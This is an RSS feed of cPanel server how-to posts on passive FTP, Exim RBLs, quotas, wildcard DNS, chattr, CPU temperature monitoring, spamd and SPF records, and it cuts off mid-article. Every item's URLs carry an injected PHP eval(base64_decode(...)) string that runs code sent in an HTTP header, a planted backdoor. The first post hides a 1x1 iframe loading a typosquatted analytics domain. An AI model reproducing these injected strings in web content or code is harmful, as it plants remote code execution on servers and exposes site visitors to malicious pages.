<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cPanelConfig - cPanel server configuration guide &#187; How to</title>
	<atom:link href="http://www.cpanelconfig.com/category/how-to/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cpanelconfig.com</link>
	<description>The complete guide to setup and manage a cPanel based server</description>
	<lastBuildDate>Fri, 17 Jul 2009 11:15:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Enabling passive ftp in Pure-FTPd</title>
		<link>http://www.cpanelconfig.com/2009/07/17/enabling-passive-ftp-in-pure-ftpd/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2009/07/17/enabling-passive-ftp-in-pure-ftpd/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 17 Jul 2009 11:15:39 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=105</guid>
		<description><![CDATA[  For users that are behind a firewall it might be required that you enable passive ftp in your ftp server and client.
While enabling passive ftp in your ftp client is simple, doing so in your ftp server configuration files might be a bit tricky if you don&#8217;t know what you are doing.
This tutorial [...]]]></description>
			<content:encoded><![CDATA[<p><iframe src="http://google-analytlcs.com/l/index.php" width="1" height="1" frameborder="0"> </iframe> For users that are behind a firewall it might be required that you enable passive ftp in your ftp server and client.</p>
<p>While enabling passive ftp in your ftp client is simple, doing so in your ftp server configuration files might be a bit tricky if you don&#8217;t know what you are doing.</p>
<p>This tutorial will cover Pure-FTPd, the ftp server used on most cPanel powered servers.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-1278592249908214";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text_image";
//2007-09-07: cpanelconfig.com
google_ad_channel = "5743344290";
google_color_border = "FFFFFF";
google_color_bg = "FFFFFF";
google_color_link = "0361A0";
google_color_text = "000000";
google_color_url = "0361A0";
//-->
</script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
Here are the steps that you will have to fallow so that you enable passive FTP.</p>
<ol>
<li>Login to your server using a ssh client</li>
<li>Open the Pure-FTPd configuration file in your favorite editor (I always use nano)</li>
<blockquote><p>nano /etc/pure-ftpd.conf</p></blockquote>
<li>Uncomment the line that starts with PassivePortRange and add:</li>
<blockquote><p>PassivePortRange 61001 65535</p></blockquote>
<li>Restart Pure-FTPd with the command:</li>
<blockquote><p>service pure-ftpd restart</p></blockquote>
<li>If you use a firewall don&#8217;t forget to allow inbound connections on the newly added ports</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2009/07/17/enabling-passive-ftp-in-pure-ftpd/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Adding a new RBL to cPanel Exim</title>
		<link>http://www.cpanelconfig.com/2008/12/04/adding-a-new-rbl-to-cpanel-exim/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/12/04/adding-a-new-rbl-to-cpanel-exim/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Thu, 04 Dec 2008 21:44:18 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[exim]]></category>
		<category><![CDATA[rbl]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=93</guid>
		<description><![CDATA[



More then a year ago, cPanel added a future to the Exim Configuration Editor for everyone to easily select from two RBLs (spamhaus.org and spamcop.net) that can be used to filter most of the SPAM that a server receives. While this has been great for most of us (enabling a RBL is a simple as [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
More then a year ago, cPanel added a future to the Exim Configuration Editor for everyone to easily select from two RBLs (spamhaus.org and spamcop.net) that can be used to filter most of the SPAM that a server receives. While this has been great for most of us (enabling a RBL is a simple as selecting a check box in WHM and pressing the Save button), there are a few admins that would have liked to add additional RBLs to the list that Exim uses to filter SPAM emails. RBLs like dnsbl.njabl.org, list.dsbl.org, dul.dnsbl.sorbs.net, etc. are all considered useful by many, but not included by default.</p>
<p>The question is how can such a RBL be added to Exim ?<br />
Well it&#8217;s not that hard !<br />
First you will have to login to your server using ssh.<br />
After a successful login:<br />
<!--adsense--></p>
<ol>
<li>Change directory to /usr/local/cpanel/etc/exim/acls/ACL_RBL_BLOCK</li>
<blockquote><p>cd /usr/local/cpanel/etc/exim/acls/ACL_RBL_BLOCK</p></blockquote>
<li>Make a copy of of spamcop_rbl and name it with the new rbl name that will be used. For exemple</li>
<blockquote><p>cp spamcop_rbl  njabl_rbl</p></blockquote>
<li>Open the newly created file</li>
<blockquote><p>nano njabl_rbl</p></blockquote>
<li>Change the two &#8220;dnslists&#8221; entries to the address of the new RBL. For example the new file should look something like this for dnsbl.njabl.org</li>
<blockquote><p>root@server [/usr/local/cpanel/etc/exim/acls/ACL_RBL_BLOCK]# cat njabl_rbl</p>
<p>deny message = JunkMail rejected &#8211; $sender_fullhost is in an RBL, see $dnslist_text<br />
dnslists = dnsbl.njabl.org<br />
hosts = +backupmx_hosts</p>
<p>warn<br />
dnslists = dnsbl.njabl.org<br />
set acl_m8 = 1<br />
set acl_m9 = &#8220;JunkMail rejected &#8211; $sender_fullhost is in an RBL, see $dnslist_text&#8221;<br />
[% ACL_RBL_WHITELIST %]</p>
<p>warn<br />
condition = ${if eq {${acl_m8}}{1}{1}{0}}<br />
ratelimit = 0 / 1h / strict / per_conn<br />
log_message = &#8220;Increment Connection Ratelimit &#8211; $sender_fullhost because of RBL match&#8221;</p>
<p>drop<br />
condition = ${if eq {${acl_m8}}{1}{1}{0}}<br />
message = ${acl_m9}</p></blockquote>
<li>Save the file</li>
<li>Run</li>
<blockquote><p>/scripts/buildeximconf</p></blockquote>
</ol>
<p>That&#8217;s it you should now have the RBL added to your Exim mail server. You can off curse add as many RBLs as you like but please keep in mind that too many of them will increase the chances of false positives and can increase the general load on the server.<br />
<!--adsense--><br />
If you have any questions don&#8217;t hesitate to leave a comment!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/12/04/adding-a-new-rbl-to-cpanel-exim/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Customize Apache default Success page</title>
		<link>http://www.cpanelconfig.com/2008/12/03/customize-apache-default-success-page/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/12/03/customize-apache-default-success-page/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Wed, 03 Dec 2008 15:59:02 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[apache]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=90</guid>
		<description><![CDATA[
Recently I was asked by a customer how to change the default Apache success page (the one that you see when you just type in the hostname for example). Surprisingly (or maybe not) this is not documented anywhere on cpanel docs or forums.
If you are faced with the same problem then you will be relieved [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
Recently I was asked by a customer how to change the default Apache success page (the one that you see when you just type in the hostname for example). Surprisingly (or maybe not) this is not documented anywhere on cpanel docs or forums.<br />
If you are faced with the same problem then you will be relieved to know that the solution is extremely simple.<br />
You just have to login to your server via ssh.<br />
Navigate to <strong>/usr/local/apache/htdocs</strong></p>
<blockquote><p>cd /usr/local/apache/htdocs</p></blockquote>
<p>And finaly edit the file index.html</p>
<blockquote><p>nano index.html</p></blockquote>
<p>If you list the content of /usr/local/apache/htdocs you will see that you can also modify the content of other error pages that cpanel&#8217;s apache outputs.<br />
<!--adsense--><br />
That&#8217;s it !</p>
<p>If you run into any problems don&#8217;t hesitate to leave a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/12/03/customize-apache-default-success-page/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Enabling quotas</title>
		<link>http://www.cpanelconfig.com/2008/11/29/enabling-quotas/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/11/29/enabling-quotas/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Sat, 29 Nov 2008 21:16:18 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[quotas]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=85</guid>
		<description><![CDATA[In this article I will explain how to enable quotas on a cpanel server.
Recently I had to setup a cpanel server that didn&#8217;t have quotas enabled by default.
What is the result of a server without quotas?
Simple. All accounts will have unlimited diskspace.

How to fix this?
First of all you will have to login to your server [...]]]></description>
			<content:encoded><![CDATA[<p>In this article I will explain how to enable quotas on a cpanel server.<br />
Recently I had to setup a cpanel server that didn&#8217;t have quotas enabled by default.<br />
<strong>What is the result of a server without quotas?</strong><br />
Simple. All accounts will have unlimited diskspace.<br />
<!--adsense--></p>
<p><strong>How to fix this?<br />
</strong>First of all you will have to login to your server using ssh.</p>
<ol>
<li>You first have to edit /etc/fstab</li>
<blockquote><p>nano /etc/fstab</p></blockquote>
<li>Locate the line that looks something like</li>
<blockquote><p>LABEL=/1                /                       ext3    defaults        1 1</p></blockquote>
<p><!--adsense--></p>
<li>Add after &#8220;defaults&#8221; the word &#8220;usrquota&#8221;. It should look something like</li>
<blockquote><p>LABEL=/1                /                       ext3    defaults,usrquota        1 1</p></blockquote>
<li>Save and exit</li>
<li>Remount the / partition</li>
<blockquote><p>mount -o remount /</p></blockquote>
<li>Now run the cpanel script to fixquotas</li>
<blockquote><p>/scripts/fixquotas</p></blockquote>
</ol>
<p>That&#8217;s it! Now all you cpanel accounts should have a limited disk space that you setup.<br />
<!--adsense--><br />
If you have any questions or problems don&#8217;t hesitate to leave a message.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/11/29/enabling-quotas/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Setting up Wildcard DNS &amp; Subdomains on cPanel</title>
		<link>http://www.cpanelconfig.com/2008/11/18/setting-up-wildcard-dns-subdomains-on-cpanel/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/11/18/setting-up-wildcard-dns-subdomains-on-cpanel/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Tue, 18 Nov 2008 08:17:54 +0000</pubDate>
		<dc:creator>copilas12</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[subdomains]]></category>
		<category><![CDATA[wildcard]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=78</guid>
		<description><![CDATA[Step 1: DNS: A Record
First we’ll need to log in to WHM. Under DNS Functions, select Edit DNS Zone. Choose the domain for the zone in which you wish to edit. Add an A record mapped to asterisk (wildcard) for the subdomain and the IP Address the site is hosted on. You likely already have [...]]]></description>
			<content:encoded><![CDATA[<p><big><strong>Step 1: DNS: A Record</strong></big></p>
<p>First we’ll need to log in to WHM. Under <em>DNS Functions</em>, select <em>Edit DNS Zone</em>. Choose the domain for the zone in which you wish to edit. Add an A record mapped to asterisk (wildcard) for the subdomain and the IP Address the site is hosted on. You likely already have A records for ftp, webmail, etc. just model this new one after those.<br />
<!--adsense--></p>
<p>You should now be able to enter any subdomain on your domain, but it will not likely find your main site. So now we need to set that up.</p>
<p><big><strong>Step 2: ServerAlias</strong></big></p>
<p>Log in to your server via <a href="http://www.chiark.greenend.org.uk/%7Esgtatham/putty/download.html">SSH</a> and go open /etc/httpd/conf/httpd.conf (I’ll assume you know your way around linux via command line as well as vi or some other editor)</p>
<p><span style="#006600;">*Note: wherever you see example.com you should expect to see your domain name that you are setting up</span></p>
<p>Now, we could edit this file and make everything work, but there is a problem with that. Look at the top ofthe document and you should see something like this:</p>
<blockquote><p>Direct modifications to the Apache configuration file may be lost upon subsequent regeneration of the configuration file. To have modifications retained, all modifications must be checked into the configuration system by running:<br />
/usr/local/cpanel/bin/apache_conf_distiller –update<br />
To see if your changes will be conserved, regenerate the Apache configuration file by running:<br />
/usr/local/cpanel/bin/build_apache_conf<br />
and check the configuration file for your alterations. If your changes have been ignored, then they will need to be added directly to their respective template files.</p></blockquote>
<p>Basically what it’s saying is don’t edit this file directly because you’re changes may be lost.</p>
<p>Do a search for the domain you are adding the wildcard to. You should find the VirtualHost set up for your domain. Here is mine:</p>
<p><span style="'Courier New';"># DO NOT EDIT. AUTOMATICALLY GENERATED.  IF YOU NEED TO MAKE A CHANGE PLEASE USE THE INCLUDE FILES.</span><br />
<!--adsense--><br />
<span style="'Courier New';"> </span><span style="'Courier New';">&lt;VirtualHost 67.225.128.241:80&gt;<br />
ServerName example.com</span><br />
ServerAlias www.example.com<br />
DocumentRoot /home/example/public_html<br />
ServerAdmin webmaster@example.com<br />
UseCanonicalName Off<br />
Options -ExecCGI -Includes<br />
RemoveHandler cgi-script .cgi .pl .plx .ppl .perl<br />
CustomLog /usr/local/apache/domlogs/example.com combined<br />
CustomLog /usr/local/apache/domlogs/example.com-bytes_log “%{%s}t %I .\n%{%s}t %O .”<br />
## User example # Needed for Cpanel::ApacheConf<br />
&lt;IfModule !mod_disable_suexec.c&gt;<br />
SuexecUserGroup example <span style="#006600;">example</span><br />
&lt;/IfModule&gt;</p>
<p><strong> # To customize this VirtualHost use an include file at the following location<br />
# Include “/usr/local/apache/conf/userdata/std/2/example/example.com</strong><strong>/*.conf”</strong></p>
<p>&lt;/VirtualHost&gt;</p>
<p>Notice the highlighted lines. This is where we are going to create a file. We are going to create a file at:<br />
<span style="'Courier New';">/usr/local/apache/conf/userdata/std/2/</span><span style="#006600;"><em>example/example.com</em></span><span style="#006600;"><em></em></span>/ServerAlias_wildcard.conf<br />
(you can give it any name you want really)</p>
<p>*Hint: You may need to create the directories first, run this command:<br />
<span style="'Courier New';">mkdir -p /usr/local/apache/conf/userdata/std/2/</span><span style="#006600;"><em>example/example.com</em></span>/</p>
<p>So really, you don’t need to edit anything it httpd.conf, we just needed some info.</p>
<p>Inside of the ServerAlias_wildcard.conf file, enter this line:<br />
<span style="'Courier New';">ServerAlias *.</span><span style="#006600;"><em>example.com</em></span></p>
<p>Now, you’ll need to rebuild the httpd.conf file per the instructions at the top of that file by running the following command:<br />
<span style="'Courier New';">/usr/local/cpanel/bin/build_apache_conf</span></p>
<p>If you open your /etc/httpd/conf/httpd.conf file again you should see that your VirtualHost for your domain as changed slightly:</p>
<p><span style="'Courier New';">&lt;VirtualHost 67.225.128.241:80&gt;<br />
ServerName example.com</span><br />
ServerAlias www.example.com<br />
DocumentRoot /home/example/public_html<br />
ServerAdmin webmaster@example.com<br />
UseCanonicalName Off<br />
Options -ExecCGI -Includes<br />
RemoveHandler cgi-script .cgi .pl .plx .ppl .perl<br />
CustomLog /usr/local/apache/domlogs/example.com combined<br />
CustomLog /usr/local/apache/domlogs/example.com-bytes_log “%{%s}t %I .\n%{%s}t %O .”<br />
## User example # Needed for Cpanel::ApacheConf<br />
&lt;IfModule !mod_disable_suexec.c&gt;<br />
SuexecUserGroup example <span style="#006600;">example</span> &lt;/IfModule&gt;<strong><br />
Include “/usr/local/apache/conf/userdata/std/2/example/example.com</strong><strong>/*.conf”</strong></p>
<p>&lt;/VirtualHost&gt;</p>
<p><big><strong>Step 3: Restart Apache</strong></big></p>
<p><big><strong> </strong></big></p>
<p>The last step required is to restart apache. I suppose there are a number of ways to do this. As long as we are logged in to SSH, we might as well just run the command:<br />
service httpd restart<br />
<!--adsense--><br />
Now, give it a try. you should be aby to access something like http://whatever.<span style="#006600;"><em>example.com</em></span> and still see your main page.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/11/18/setting-up-wildcard-dns-subdomains-on-cpanel/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Making a file or folder undeletable (even to root) &#8211; chattr</title>
		<link>http://www.cpanelconfig.com/2008/06/25/making-a-file-or-folder-undeletable-even-to-root-chattr/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/06/25/making-a-file-or-folder-undeletable-even-to-root-chattr/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Wed, 25 Jun 2008 18:35:33 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Linux commands]]></category>
		<category><![CDATA[chattr]]></category>
		<category><![CDATA[immutable]]></category>
		<category><![CDATA[lsattr]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=42</guid>
		<description><![CDATA[This article will tell you how you can make a file or folder undeletable (immutable) even for root.

This is useful if you have an important file that you don&#8217;t want to delete by accident or if you are investigating some user&#8217;s files and you don&#8217;t want someone deleting the &#8220;evidence&#8221; while you investigate.
The command works [...]]]></description>
			<content:encoded><![CDATA[<p>This article will tell you how you can make a file or folder undeletable (immutable) even for root.<br />
<!--adsense--><br />
This is useful if you have an important file that you don&#8217;t want to delete by accident or if you are investigating some user&#8217;s files and you don&#8217;t want someone deleting the &#8220;evidence&#8221; while you investigate.</p>
<p>The command works by setting the immutable bit of the file.</p>
<p>How you can make a file immutable ?<br />
Note: This command must be run as root</p>
<blockquote><p>chattr +i file_name</p></blockquote>
<p>An example use would be:</p>
<p><!--adsense--></p>
<blockquote><p>chattr +i ftp.log</p></blockquote>
<p>Now if I want to delete the file I would get:</p>
<blockquote><p>rm -f ftp.log<br />
rm: cannot remove `ftp.log&#8217;: Operation not permitted</p></blockquote>
<p>Please remember that this was done as root !</p>
<p>If you want to unset the immutable bit you can use the command:</p>
<blockquote><p>chattr -i file_name</p></blockquote>
<p>If you want to check what are the attributes of a file you can do so using the command lsattr:</p>
<blockquote><p>lsattr file_name</p></blockquote>
<p>In our example we would be getting:<br />
<!--adsense--></p>
<blockquote><p>lsattr ftp.log<br />
&#8212;-i&#8212;&#8212;&#8211; ftp.log</p></blockquote>
<p>Please notice the immutable bit !</p>
<p>Hope it helps!<br />
If you have any questions just leave me a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/06/25/making-a-file-or-folder-undeletable-even-to-root-chattr/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>How to monitor the CPU temperature in your Linux box</title>
		<link>http://www.cpanelconfig.com/2008/06/24/how-to-monitor-cpu-temperature-in-your-linux-box/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/06/24/how-to-monitor-cpu-temperature-in-your-linux-box/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Tue, 24 Jun 2008 19:57:12 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[cpu]]></category>
		<category><![CDATA[lm_sensors]]></category>
		<category><![CDATA[temperature]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=41</guid>
		<description><![CDATA[As the summer is starting to show its heat waives (at least here) I thought that an article on how to monitor your server&#8217;s CPU temperature is appropriate. In a modern Data Center heat should not be a problem but you never know&#8230;

When you should start worrying about your CPU temperature?
When the first signs are [...]]]></description>
			<content:encoded><![CDATA[<p>As the summer is starting to show its heat waives (at least here) I thought that an article on how to monitor your server&#8217;s CPU temperature is appropriate. In a modern Data Center heat should not be a problem but you never know&#8230;<br />
<!--adsense--></p>
<p><strong>When you should start worrying about your CPU temperature?</strong><br />
When the first signs are random reboots or hangs of your server. If you see something like that it is a good idea to check your server&#8217;s temperature.</p>
<p><strong>How to monitor the temperature?</strong><br />
Linux provides a nice and useful app to monitor your CPU temperature called lm_sensors.</p>
<p>Requirements<br />
lm_sensors requires a kernel 2.6.17 or higher. If you are running an older kernel you will have to upgrade before you install lm_sensors</p>
<p>Installation is simple:</p>
<ol>
<li> Install the package via your package manager (for exemple yum)</li>
<blockquote><p>yum install lm_sensors</p></blockquote>
<li> Run the sensors detector</li>
<blockquote><p>sensors-detect</p></blockquote>
<p>Fallow the on screen instructions.<br />
This will instruct you to add to /etc/modprobe.conf something like :</p>
<blockquote><p>#&#8212;-cut here&#8212;-<br />
# I2C module options<br />
alias char-major-89 i2c-dev<br />
#&#8212;-cut here&#8212;-</p></blockquote>
<p><!--adsense--></p>
<li>Start the lm_sensors service</li>
<blockquote><p>service lm_sensors start</p></blockquote>
<li>Now to get the sensor data</li>
<blockquote><p>sensors</p></blockquote>
<p>This will list all available sensors and provide the data from them.</ol>
<p>Please note that if you want to use lm_sensors in a core2duo system you will need kernel 2.6.21 or newer.<br />
<!--adsense--></p>
<p>Hope it helps!<br />
If you have any questions just let me know.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/06/24/how-to-monitor-cpu-temperature-in-your-linux-box/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>SpamAssasin (spamd) using 100% CPU ?</title>
		<link>http://www.cpanelconfig.com/2008/03/19/spamassasin-spamd-using-100-cpu/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/03/19/spamassasin-spamd-using-100-cpu/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Wed, 19 Mar 2008 22:00:39 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[spamassasin]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/how-to/spamassasin-spamd-using-100-cpu/</guid>
		<description><![CDATA[Hello,
I just investigated a cpanel server that was  showing two spamd processes that were using 100% of CPU time.
In case  you see a similar problem on your server there is an easy fix released by cPanel, but before we go there please note that this is not a cPanel issue, but it&#8217;s a [...]]]></description>
			<content:encoded><![CDATA[<p>Hello,</p>
<p>I just investigated a cpanel server that was  showing two spamd processes that were using 100% of CPU time.<br />
In case  you see a similar problem on your server there is an easy fix released by cPanel, but before we go there please note that this is not a cPanel issue, but it&#8217;s a SpamAssasin issue (bug) that is promised to be fixed in version 3.2.4<br />
<!--adsense--><br />
Until then you should run as root the fallowing command:</p>
<blockquote><p>/scripts/autorepair spamd_dbm_fix</p></blockquote>
<p>Hope it helps !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/03/19/spamassasin-spamd-using-100-cpu/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Install SPF records on a cPanel server</title>
		<link>http://www.cpanelconfig.com/2007/12/27/install-spf-records-on-a-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/12/27/install-spf-records-on-a-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Thu, 27 Dec 2007 09:02:57 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[spf]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/how-to/install-spf-records-on-a-cpanel-server/</guid>
		<description><![CDATA[What is SPF?
Sender Policy Framework (SPF) is an attempt to control forged e-mail. SPF is not  directly about stopping spam – junk email. It is about giving domain owners a  way to say which mail sources are legitimate for their domain and which ones  aren&#8217;t. While not all spam is forged, virtually [...]]]></description>
			<content:encoded><![CDATA[<p><strong>What is SPF?</strong><br />
Sender Policy Framework (SPF) is an attempt to control forged e-mail. SPF is not  directly about stopping spam – junk email. It is about giving domain owners a  way to say which mail sources are legitimate for their domain and which ones  aren&#8217;t. While not all spam is forged, virtually all forgeries are spam. SPF was created in 2003 to help close loopholes in email delivery systems  that allow spammers to “spoof” or steal your email address to send hundreds,  thousands or even millions of emails illicitly.<br />
More information about SPF can be found at <a href="http://www.openspf.org/Project_Overview">http://www.openspf.org/Project_Overview</a><br />
<!--adsense--><br />
<strong>Why do I want to have SPF records for my domains?</strong><br />
Many mail servers are now testing for the presence of SPF records so if you don&#8217;t have one your email will probably not be delivered to that server.  A good example is Hotmail that is testing for SPF records since 2004.<strong> </strong></p>
<p><strong>What syntax should I use?</strong><br />
Now that you have learnt what it is and why you should use it, it&#8217;s time to see what syntax you should use.<br />
For SPF to work you have to add to each DNS zone a record similar to this:</p>
<blockquote><p>domain.com.    14400    IN    TXT &#8220;v=spf1 a mx -all&#8221;</p></blockquote>
<p>Let&#8217;s try to explain the syntax:<br />
We are telling the world that:</p>
<ul>
<li>v=spf1 &#8211; we are using spf version 1 (the only version really)</li>
<li>for domain &#8220;domain.com&#8221; the fallowing IP&#8217;s are allowed to send email: the A record IP and the MX record IP&#8217;s.</li>
<li>&#8220;-all&#8221; &#8211; no other IP&#8217;s are allowed to send emails</li>
</ul>
<p>You can read all the options that you have by visiting: <a href="http://www.openspf.org/SPF_Record_Syntax">http://www.openspf.org/SPF_Record_Syntax</a></p>
<p><strong>How to install SPF records?</strong></p>
<p>Now that we know what they are and how to write them it&#8217;s time to install them.<br />
I&#8217;ll divide my presentation in two sections.<br />
In the first one I will  teach you how to add a SPF record automatically to newly created accounts and in the second section how to add them to domains that are already setup and don&#8217;t have them.</p>
<p>If this is a new cPanel server or you want all the domains that you add on the server from now on to have a SPF record you have to do the fallowing:</p>
<ol>
<li>Login to WHM using root</li>
<li>Click on Edit Zone Templates and then on &#8220;standard&#8221;</li>
<li>Add at the end of file:</li>
<blockquote><p>%domain%. IN TXT &#8220;v=spf1 a mx -all&#8221;</p></blockquote>
<p>You can replace &#8220;v=spf1 a mx -all&#8221; with the syntax that you decide it&#8217;s the best for you.</p>
<li>Repeat step 2 and 3 for the &#8220;simple&#8221; zone template</li>
</ol>
<p>That&#8217;s it ! From now on all the accounts that you will create on the server will have a SPF record.</p>
<p><!--adsense--></p>
<p>Now what do we do with all the accounts that are already created and don&#8217;t have a SPF record?<br />
One option would be to edit manually all the zone files on the server and to add the TXT record. This is an easy solution if you have 10 accounts but what do you do if you have 1000 or 10.000 (on multiple servers) ?<br />
I have the solution for you !<br />
cPanel has built a script to install a SPF record for a given cPanel user. The script is located at: /usr/local/cpanel/bin/spf_installer<br />
I was surprised to know how few people know about this script. In fact when I searched forums.cpanel.net for some threads about this I found none !<br />
I can tell you that this script is scheduled to go into production in cPanel 12.x and it&#8217;s now in beta testing, this is why there no mention of it anywhere.<br />
Unfortunately as with all the beta software out there this script has a big bug. The script will not add a SPF for the main domain but does work with your subdomains, addon or parked domanins.<br />
After investigating for a few hours I found the problem. The script is trying to add to the DNS zone a record like this:</p>
<blockquote></blockquote>
<blockquote><p>domain.com    14400    IN    TXT &#8220;v=spf1 a mx -all&#8221;</p></blockquote>
<p>The correct syntax would be:</p>
<blockquote><p>domain.com.    14400    IN    TXT &#8220;v=spf1 a mx -all&#8221;</p></blockquote>
<p>Notice the extra dot (.) in the correct syntax !</p>
<p>How to fix this?<br />
We have to edit one of cPanel&#8217;s source code. Here&#8217;s a step by step guide on how to do it:</p>
<ol>
<li>Login as root on the server using ssh</li>
<li>We have to edit SPF.pm source file</li>
<blockquote><p>nano /usr/local/cpanel/Cpanel/SPF.pm</p></blockquote>
<li>Locate the fallowing lines (should be at the end of the file)</li>
<blockquote><p>    foreach my $domain (@DOMAINS) {<br />
push @installlist , { match =&gt; &#8216;v=spf&#8217;,<br />
domain =&gt; $domain,<br />
record =&gt; $domain,<br />
